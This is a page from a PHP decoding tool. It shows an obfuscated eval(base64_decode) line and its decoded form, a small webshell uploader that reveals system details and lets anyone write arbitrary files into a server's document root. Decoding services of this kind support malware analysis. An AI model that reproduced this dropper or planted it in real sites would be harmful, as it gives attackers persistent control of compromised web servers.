Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?eval(base64_decode("ZWNobyAnPGJpZz48Zm9udCBjb2xvcj13aGl0ZT4gU3lzdGVtOiA8c3BhbiBzdHlsZT0i..

Decoded Output download

echo '<big><font color=white> System: <span style="color: lime;">'.php_uname().'</span></big><br>';
echo "<font color=white>Your IP: <font color=blue>".$_SERVER['REMOTE_ADDR']."</font><br>";
echo '<big><font color=white>Directory: <span style="color: aqua;">'.getcwd().'</span></big><br><br>';
echo "<form method='post' enctype='multipart/form-data'>
      <input type='file' name='just_file'>
      <input type='submit' name='upload' value='Upload!'>
      </form>
      </center>";
$root = $_SERVER['DOCUMENT_ROOT'];
$files = $_FILES['just_file']['name'];
$dest = $root.'/'.$files;
if(isset($_POST['upload'])) {
    if(is_writable($root)) {
        if(@copy($_FILES['just_file']['tmp_name'], $dest)) {
            $web = "http://".$_SERVER['HTTP_HOST']."/";
            echo "<font color='lime'sukses upload -> <a href='$web$files' target='_blank'><b><u>$web/$files</u></b></a>";
        } else {
            echo "<font color='red'gagal upload di document root.";
        }
    } else {
        if(@copy($_FILES['just_file']['tmp_name'], $files)) {
            echo " upload <b>$files</b> di folder ini";
        } else {
            echo "gagal upload";
        }
    }
}

Did this file decode correctly?

Original Code

<?eval(base64_decode("ZWNobyAnPGJpZz48Zm9udCBjb2xvcj13aGl0ZT4gU3lzdGVtOiA8c3BhbiBzdHlsZT0iY29sb3I6IGxpbWU7Ij4nLnBocF91bmFtZSgpLic8L3NwYW4+PC9iaWc+PGJyPic7CmVjaG8gIjxmb250IGNvbG9yPXdoaXRlPllvdXIgSVA6IDxmb250IGNvbG9yPWJsdWU+Ii4kX1NFUlZFUlsnUkVNT1RFX0FERFInXS4iPC9mb250Pjxicj4iOwplY2hvICc8YmlnPjxmb250IGNvbG9yPXdoaXRlPkRpcmVjdG9yeTogPHNwYW4gc3R5bGU9ImNvbG9yOiBhcXVhOyI+Jy5nZXRjd2QoKS4nPC9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kgZm9sZGVyIGluaSI7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgZWNobyAiZ2FnYWwgdXBsb2FkIjsKICAgICAgICB9CiAgICB9Cn0="))?>kkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkk

Function Calls

base64_decode 1

Variables

None

Stats

MD5 327f8924e71c9162bfed54a5ea1a21b7
Eval Count 1
Decode Time 39 ms